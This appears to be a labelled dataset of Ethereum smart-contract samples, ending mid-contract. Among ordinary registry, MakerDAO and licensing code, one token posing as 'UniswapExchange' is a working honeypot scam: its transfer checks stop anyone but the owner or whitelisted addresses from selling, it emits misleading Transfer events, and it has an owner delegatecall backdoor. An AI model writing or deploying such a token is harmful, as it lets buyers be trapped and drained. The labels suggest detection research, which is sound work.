event CreationFeeUpdated(uint256 newFee);
constructor(address[] _beneficiaries, uint256[] _shares)
public
ERC721Token ("CHAINGEAR", "CHG")
FeeSplitterChaingear (_beneficiaries, _shares)
{
chaingearSafe = new Safe();
_registerInterface(INTERFACE_CHAINGEAR_EULER_ID);
}
modifier onlyOwnerOf(uint256 _databaseID){
require(ownerOf(_databaseID) == msg.sender);
_;
}
function addDatabaseBuilderVersion(
string _version,
IDatabaseBuilder _builderAddress,
string _linkToABI,
string _description
)
external
onlyOwner
whenNotPaused
{
require(buildersVersion[_version].builderAddress == address(0));
SupportsInterfaceWithLookup support = SupportsInterfaceWithLookup(_builderAddress);
require(support.supportsInterface(INTERFACE_DATABASE_BUILDER_EULER_ID));
buildersVersion[_version] = (DatabaseBuilder(
{
builderAddress: _builderAddress,
linkToABI: _linkToABI,
description: _description,
operational: true
}));
buildersVersionIndex[amountOfBuilders] = _version;
amountOfBuilders = amountOfBuilders.add(1);
emit DatabaseBuilderAdded(
_version,
_builderAddress,
_linkToABI,
_description
);
}
function updateDatabaseBuilderDescription(string _version, string _description)
external
onlyOwner
whenNotPaused
{
require(buildersVersion[_version].builderAddress != address(0));
buildersVersion[_version].description = _description;
emit DatabaseDescriptionUpdated(_version, _description);
}
function depricateDatabaseBuilder(string _version)
external
onlyOwner
whenPaused
{
require(buildersVersion[_version].builderAddress != address(0));
require(buildersVersion[_version].operational == true);
buildersVersion[_version].operational = false;
emit DatabaseBuilderDepricated(_version);
}
function createDatabase(
string _version,
address[] _beneficiaries,
uint256[] _shares,
string _name,
string _symbol
)
external
payable
whenNotPaused
returns (address, uint256)
{
_name.validateName();
_symbol.validateSymbol();
require(buildersVersion[_version].builderAddress != address(0));
require(buildersVersion[_version].operational == true);
require(databaseCreationFeeWei == msg.value);
require(databasesNamesIndex[_name] == false);
require(databasesSymbolsIndex[_symbol] == false);
return _deployDatabase(
_version,
_beneficiaries,
_shares,
_name,
_symbol
);
}
function deleteDatabase(uint256 _databaseID)
external
onlyOwnerOf(_databaseID)
whenNotPaused
{
uint256 databaseIndex = allTokensIndex[_databaseID];
IDatabase database = databases[databaseIndex].databaseContract;
require(database.getSafeBalance() == uint256(0));
require(database.getPaused() == true);
string memory databaseName = ERC721(database).name();
string memory databaseSymbol = ERC721(database).symbol();
delete databasesNamesIndex[databaseName];
delete databasesSymbolsIndex[databaseSymbol];
delete databasesIDsByAddressesIndex[database];
delete databasesIDsBySymbolIndex[databaseSymbol];
delete databasesSymbolsByIDIndex[_databaseID];
uint256 lastDatabaseIndex = databases.length.sub(1);
DatabaseMeta memory lastDatabase = databases[lastDatabaseIndex];
databases[databaseIndex] = lastDatabase;
delete databases[lastDatabaseIndex];
databases.length--;
super._burn(msg.sender, _databaseID);
database.transferOwnership(msg.sender);
emit DatabaseDeleted(
databaseName,
database,
msg.sender,
_databaseID
);
}
function fundDatabase(uint256 _databaseID)
external
whenNotPaused
payable
{
require(exists(_databaseID) == true);
uint256 databaseIndex = allTokensIndex[_databaseID];
uint256 currentWei = databases[databaseIndex].currentWei.add(msg.value);
databases[databaseIndex].currentWei = currentWei;
uint256 accumulatedWei = databases[databaseIndex].accumulatedWei.add(msg.value);
databases[databaseIndex].accumulatedWei = accumulatedWei;
emit DatabaseFunded(_databaseID, msg.sender, msg.value);
address(chaingearSafe).transfer(msg.value);
}
function claimDatabaseFunds(uint256 _databaseID, uint256 _amount)
external
onlyOwnerOf(_databaseID)
whenNotPaused
{
uint256 databaseIndex = allTokensIndex[_databaseID];
uint256 currentWei = databases[databaseIndex].currentWei;
require(_amount <= currentWei);
databases[databaseIndex].currentWei = currentWei.sub(_amount);
emit DatabaseFundsClaimed(_databaseID, msg.sender, _amount);
chaingearSafe.claim(msg.sender, _amount);
}
function updateCreationFee(uint256 _newFee)
external
onlyOwner
whenPaused
{
databaseCreationFeeWei = _newFee;
emit CreationFeeUpdated(_newFee);
}
function getAmountOfBuilders()
external
view
returns(uint256)
{
return amountOfBuilders;
}
function getBuilderByID(uint256 _id)
external
view
returns(string)
{
return buildersVersionIndex[_id];
}
function getDatabaseBuilder(string _version)
external
view
returns (
address,
string,
string,
bool
)
{
return(
buildersVersion[_version].builderAddress,
buildersVersion[_version].linkToABI,
buildersVersion[_version].description,
buildersVersion[_version].operational
);
}
function getDatabasesIDs()
external
view
returns(uint256[])
{
return allTokens;
}
function getDatabaseIDByAddress(address _databaseAddress)
external
view
returns(uint256)
{
uint256 databaseID = databasesIDsByAddressesIndex[_databaseAddress];
return databaseID;
}
function getDatabaseAddressByName(string _name)
external
view
returns(address)
{
return databasesAddressesByNameIndex[_name];
}
function getDatabaseSymbolByID(uint256 _databaseID)
external
view
returns(string)
{
return databasesSymbolsByIDIndex[_databaseID];
}
function getDatabaseIDBySymbol(string _symbol)
external
view
returns(uint256)
{
return databasesIDsBySymbolIndex[_symbol];
}
function getDatabase(uint256 _databaseID)
external
view
returns (
string,
string,
address,
string,
uint256,
address,
uint256
)
{
uint256 databaseIndex = allTokensIndex[_databaseID];
IDatabase databaseAddress = databases[databaseIndex].databaseContract;
return (
ERC721(databaseAddress).name(),
ERC721(databaseAddress).symbol(),
databaseAddress,
databases[databaseIndex].versionOfDatabase,
databases[databaseIndex].createdTimestamp,
databaseAddress.getAdmin(),
ERC721(databaseAddress).totalSupply()
);
}
function getDatabaseBalance(uint256 _databaseID)
external
view
returns (uint256, uint256)
{
uint256 databaseIndex = allTokensIndex[_databaseID];
return (
databases[databaseIndex].currentWei,
databases[databaseIndex].accumulatedWei
);
}
function getChaingearDescription()
external
pure
returns (string)
{
return CHAINGEAR_DESCRIPTION;
}
function getCreationFeeWei()
external
view
returns (uint256)
{
return databaseCreationFeeWei;
}
function getSafeBalance()
external
view
returns (uint256)
{
return address(chaingearSafe).balance;
}
function getSafeAddress()
external
view
returns (address)
{
return chaingearSafe;
}
function getNameExist(string _name)
external
view
returns (bool)
{
return databasesNamesIndex[_name];
}
function getSymbolExist(string _symbol)
external
view
returns (bool)
{
return databasesSymbolsIndex[_symbol];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
whenNotPaused
{
uint256 databaseIndex = allTokensIndex[_tokenId];
IDatabase database = databases[databaseIndex].databaseContract;
require(address(database).balance == 0);
require(database.getPaused() == true);
super.transferFrom(_from, _to, _tokenId);
IDatabase databaseAddress = databases[databaseIndex].databaseContract;
databaseAddress.deletePayees();
databaseAddress.transferAdminRights(_to);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
whenNotPaused
{
safeTransferFrom(
_from,
_to,
_tokenId,
""
);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
whenNotPaused
{
transferFrom(_from, _to, _tokenId);
require(
checkAndCallSafeTransfer(
_from,
_to,
_tokenId,
_data
));
}
function _deployDatabase(
string _version,
address[] _beneficiaries,
uint256[] _shares,
string _name,
string _symbol
)
private
returns (address, uint256)
{
IDatabaseBuilder builder = buildersVersion[_version].builderAddress;
IDatabase databaseContract = builder.deployDatabase(
_beneficiaries,
_shares,
_name,
_symbol
);
address databaseAddress = address(databaseContract);
SupportsInterfaceWithLookup support = SupportsInterfaceWithLookup(databaseAddress);
require(support.supportsInterface(INTERFACE_DATABASE_V1_EULER_ID));
require(support.supportsInterface(InterfaceId_ERC721));
require(support.supportsInterface(InterfaceId_ERC721Metadata));
require(support.supportsInterface(InterfaceId_ERC721Enumerable));
DatabaseMeta memory database = (DatabaseMeta(
{
databaseContract: databaseContract,
creatorOfDatabase: msg.sender,
versionOfDatabase: _version,
linkABI: buildersVersion[_version].linkToABI,
createdTimestamp: block.timestamp,
currentWei: 0,
accumulatedWei: 0
}));
databases.push(database);
databasesNamesIndex[_name] = true;
databasesSymbolsIndex[_symbol] = true;
uint256 newTokenID = headTokenID;
databasesIDsByAddressesIndex[databaseAddress] = newTokenID;
super._mint(msg.sender, newTokenID);
databasesSymbolsByIDIndex[newTokenID] = _symbol;
databasesIDsBySymbolIndex[_symbol] = newTokenID;
databasesAddressesByNameIndex[_name] = databaseAddress;
headTokenID = headTokenID.add(1);
emit DatabaseCreated(
_name,
databaseAddress,
msg.sender,
newTokenID
);
databaseContract.transferAdminRights(msg.sender);
return (databaseAddress, newTokenID);
}
} | 1 | 4,866 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,165 |
interface IMaker {
function sai() public view returns (ERC20);
function skr() public view returns (ERC20);
function gem() public view returns (ERC20);
function open() public returns (bytes32 cup);
function give(bytes32 cup, address guy) public;
function gap() public view returns (uint);
function per() public view returns (uint);
function ask(uint wad) public view returns (uint);
function bid(uint wad) public view returns (uint);
function join(uint wad) public;
function lock(bytes32 cup, uint wad) public;
function free(bytes32 cup, uint wad) public;
function draw(bytes32 cup, uint wad) public;
function cage(uint fit_, uint jam) public;
}
interface ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IWETH {
function deposit() public payable;
function withdraw(uint wad) public;
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) public pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) public pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DaiMaker is DSMath {
IMaker public maker;
ERC20 public weth;
ERC20 public peth;
ERC20 public dai;
event MakeDai(address indexed daiOwner, address indexed cdpOwner, uint256 ethAmount, uint256 daiAmount, uint256 pethAmount);
function DaiMaker(IMaker _maker) {
maker = _maker;
weth = maker.gem();
peth = maker.skr();
dai = maker.sai();
}
function makeDai(uint256 daiAmount, address cdpOwner, address daiOwner) payable public returns (bytes32 cdpId) {
IWETH(weth).deposit.value(msg.value)();
weth.approve(maker, msg.value);
uint256 inverseAsk = rdiv(msg.value, wmul(maker.gap(), maker.per())) - 1;
maker.join(inverseAsk);
uint256 pethAmount = peth.balanceOf(this);
peth.approve(maker, pethAmount);
cdpId = maker.open();
maker.lock(cdpId, pethAmount);
maker.draw(cdpId, daiAmount);
dai.transfer(daiOwner, daiAmount);
maker.give(cdpId, cdpOwner);
MakeDai(daiOwner, cdpOwner, msg.value, daiAmount, pethAmount);
}
} | 1 | 3,500 |
pragma solidity ^0.4.24;
contract OwnableInterface {
function getOwner() public constant returns (address);
modifier onlyOwner() {
require (msg.sender == getOwner());
_;
}
}
contract Ownable is OwnableInterface {
address owner = address(0x0);
address proposedOwner = address(0x0);
event OwnerAssignedEvent(address indexed newowner);
event OwnershipOfferCreatedEvent(address indexed currentowner, address indexed proposedowner);
event OwnershipOfferAcceptedEvent(address indexed currentowner, address indexed proposedowner);
event OwnershipOfferCancelledEvent(address indexed currentowner, address indexed proposedowner);
constructor () public {
owner = msg.sender;
emit OwnerAssignedEvent(owner);
}
function createOwnershipOffer(address _proposedOwner) external onlyOwner {
require (proposedOwner == address(0x0));
require (_proposedOwner != address(0x0));
require (_proposedOwner != address(this));
proposedOwner = _proposedOwner;
emit OwnershipOfferCreatedEvent(owner, _proposedOwner);
}
function acceptOwnershipOffer() external {
require (proposedOwner != address(0x0));
require (msg.sender == proposedOwner);
address _oldOwner = owner;
owner = proposedOwner;
proposedOwner = address(0x0);
emit OwnerAssignedEvent(owner);
emit OwnershipOfferAcceptedEvent(_oldOwner, owner);
}
function cancelOwnershipOffer() external {
require (proposedOwner != address(0x0));
require (msg.sender == owner || msg.sender == proposedOwner);
address _oldProposedOwner = proposedOwner;
proposedOwner = address(0x0);
emit OwnershipOfferCancelledEvent(owner, _oldProposedOwner);
}
function getOwner() public constant returns (address) {
return owner;
}
function getProposedOwner() public constant returns (address) {
return proposedOwner;
}
}
contract ManageableInterface {
function isManagerAllowed(address _manager, string _permissionName) public constant returns (bool);
modifier onlyAllowedManager(string _permissionName) {
require(isManagerAllowed(msg.sender, _permissionName) == true);
_;
}
}
contract Manageable is OwnableInterface,
ManageableInterface {
mapping (address => bool) managerEnabled;
mapping (address => mapping (string => bool)) managerPermissions;
event ManagerEnabledEvent(address indexed manager);
event ManagerDisabledEvent(address indexed manager);
event ManagerPermissionGrantedEvent(address indexed manager, bytes32 permission);
event ManagerPermissionRevokedEvent(address indexed manager, bytes32 permission);
function enableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) {
require(managerEnabled[_manager] == false);
managerEnabled[_manager] = true;
emit ManagerEnabledEvent(_manager);
}
function disableManager(address _manager) external onlyOwner onlyValidManagerAddress(_manager) {
require(managerEnabled[_manager] == true);
managerEnabled[_manager] = false;
emit ManagerDisabledEvent(_manager);
}
function grantManagerPermission(
address _manager, string _permissionName
)
external
onlyOwner
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
{
require(managerPermissions[_manager][_permissionName] == false);
managerPermissions[_manager][_permissionName] = true;
emit ManagerPermissionGrantedEvent(_manager, keccak256(_permissionName));
}
function revokeManagerPermission(
address _manager, string _permissionName
)
external
onlyOwner
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
{
require(managerPermissions[_manager][_permissionName] == true);
managerPermissions[_manager][_permissionName] = false;
emit ManagerPermissionRevokedEvent(_manager, keccak256(_permissionName));
}
function isManagerEnabled(
address _manager
)
public
constant
onlyValidManagerAddress(_manager)
returns (bool)
{
return managerEnabled[_manager];
}
function isPermissionGranted(
address _manager, string _permissionName
)
public
constant
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
returns (bool)
{
return managerPermissions[_manager][_permissionName];
}
function isManagerAllowed(
address _manager, string _permissionName
)
public
constant
onlyValidManagerAddress(_manager)
onlyValidPermissionName(_permissionName)
returns (bool)
{
return (managerEnabled[_manager] && managerPermissions[_manager][_permissionName]);
}
modifier onlyValidManagerAddress(address _manager) {
require(_manager != address(0x0));
_;
}
modifier onlyValidPermissionName(string _permissionName) {
require(bytes(_permissionName).length != 0);
_;
}
}
contract PausableInterface {
event PauseEvent();
event UnpauseEvent();
function pauseContract() public;
function unpauseContract() public;
function getPaused() public constant returns (bool);
modifier whenContractNotPaused() {
require(getPaused() == false);
_;
}
modifier whenContractPaused {
require(getPaused() == true);
_;
}
}
contract Pausable is ManageableInterface,
PausableInterface {
bool paused = true;
function pauseContract() public onlyAllowedManager('pause_contract') whenContractNotPaused {
paused = true;
emit PauseEvent();
}
function unpauseContract() public onlyAllowedManager('unpause_contract') whenContractPaused {
paused = false;
emit UnpauseEvent();
}
function getPaused() public constant returns (bool) {
return paused;
}
}
contract BytecodeExecutorInterface {
event CallExecutedEvent(address indexed target,
uint256 suppliedGas,
uint256 ethValue,
bytes32 transactionBytecodeHash);
event DelegatecallExecutedEvent(address indexed target,
uint256 suppliedGas,
bytes32 transactionBytecodeHash);
function executeCall(address _target, uint256 _suppliedGas, uint256 _ethValue, bytes _transactionBytecode) external;
function executeDelegatecall(address _target, uint256 _suppliedGas, bytes _transactionBytecode) external;
}
contract BytecodeExecutor is ManageableInterface,
BytecodeExecutorInterface {
bool underExecution = false;
function executeCall(
address _target,
uint256 _suppliedGas,
uint256 _ethValue,
bytes _transactionBytecode
)
external
onlyAllowedManager('execute_call')
{
require(underExecution == false);
underExecution = true;
_target.call.gas(_suppliedGas).value(_ethValue)(_transactionBytecode);
underExecution = false;
emit CallExecutedEvent(_target, _suppliedGas, _ethValue, keccak256(_transactionBytecode));
}
function executeDelegatecall(
address _target,
uint256 _suppliedGas,
bytes _transactionBytecode
)
external
onlyAllowedManager('execute_delegatecall')
{
require(underExecution == false);
underExecution = true;
_target.delegatecall.gas(_suppliedGas)(_transactionBytecode);
underExecution = false;
emit DelegatecallExecutedEvent(_target, _suppliedGas, keccak256(_transactionBytecode));
}
}
contract AssetIDInterface {
function getAssetID() public constant returns (string);
function getAssetIDHash() public constant returns (bytes32);
}
contract AssetID is AssetIDInterface {
string assetID;
constructor (string _assetID) public {
require(bytes(_assetID).length > 0);
assetID = _assetID;
}
function getAssetID() public constant returns (string) {
return assetID;
}
function getAssetIDHash() public constant returns (bytes32) {
return keccak256(assetID);
}
}
contract CrydrLicenseRegistryInterface {
function isUserAllowed(address _userAddress, string _licenseName) public constant returns (bool);
}
contract CrydrLicenseRegistryManagementInterface {
event UserAdmittedEvent(address indexed useraddress);
event UserDeniedEvent(address indexed useraddress);
event UserLicenseGrantedEvent(address indexed useraddress, bytes32 licensename);
event UserLicenseRenewedEvent(address indexed useraddress, bytes32 licensename);
event UserLicenseRevokedEvent(address indexed useraddress, bytes32 licensename);
function admitUser(address _userAddress) external;
function denyUser(address _userAddress) external;
function isUserAdmitted(address _userAddress) public constant returns (bool);
function grantUserLicense(address _userAddress, string _licenseName) external;
function revokeUserLicense(address _userAddress, string _licenseName) external;
function isUserGranted(address _userAddress, string _licenseName) public constant returns (bool);
}
contract CrydrLicenseRegistry is ManageableInterface,
CrydrLicenseRegistryInterface,
CrydrLicenseRegistryManagementInterface {
mapping (address => bool) userAdmittance;
mapping (address => mapping (string => bool)) userLicenses;
function isUserAllowed(
address _userAddress, string _licenseName
)
public
constant
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
returns (bool)
{
return userAdmittance[_userAddress] &&
userLicenses[_userAddress][_licenseName];
}
function admitUser(
address _userAddress
)
external
onlyValidAddress(_userAddress)
onlyAllowedManager('admit_user')
{
require(userAdmittance[_userAddress] == false);
userAdmittance[_userAddress] = true;
emit UserAdmittedEvent(_userAddress);
}
function denyUser(
address _userAddress
)
external
onlyValidAddress(_userAddress)
onlyAllowedManager('deny_user')
{
require(userAdmittance[_userAddress] == true);
userAdmittance[_userAddress] = false;
emit UserDeniedEvent(_userAddress);
}
function isUserAdmitted(
address _userAddress
)
public
constant
onlyValidAddress(_userAddress)
returns (bool)
{
return userAdmittance[_userAddress];
}
function grantUserLicense(
address _userAddress, string _licenseName
)
external
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
onlyAllowedManager('grant_license')
{
require(userLicenses[_userAddress][_licenseName] == false);
userLicenses[_userAddress][_licenseName] = true;
emit UserLicenseGrantedEvent(_userAddress, keccak256(_licenseName));
}
function revokeUserLicense(
address _userAddress, string _licenseName
)
external
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
onlyAllowedManager('revoke_license')
{
require(userLicenses[_userAddress][_licenseName] == true);
userLicenses[_userAddress][_licenseName] = false;
emit UserLicenseRevokedEvent(_userAddress, keccak256(_licenseName));
}
function isUserGranted(
address _userAddress, string _licenseName
)
public
constant
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
returns (bool)
{
return userLicenses[_userAddress][_licenseName];
}
function isUserLicenseValid(
address _userAddress, string _licenseName
)
public
constant
onlyValidAddress(_userAddress)
onlyValidLicenseName(_licenseName)
returns (bool)
{
return userLicenses[_userAddress][_licenseName];
}
modifier onlyValidAddress(address _userAddress) {
require(_userAddress != address(0x0));
_;
}
modifier onlyValidLicenseName(string _licenseName) {
require(bytes(_licenseName).length > 0);
_;
}
}
contract JCashLicenseRegistry is AssetID,
Ownable,
Manageable,
Pausable,
BytecodeExecutor,
CrydrLicenseRegistry {
constructor (string _assetID) AssetID(_assetID) public { }
}
contract JUSDLicenseRegistry is JCashLicenseRegistry {
constructor () public JCashLicenseRegistry('JUSD') {}
} | 0 | 2,050 |
pragma solidity ^0.4.24;
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract AbstractToken is Token, SafeMath {
function AbstractToken () {
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
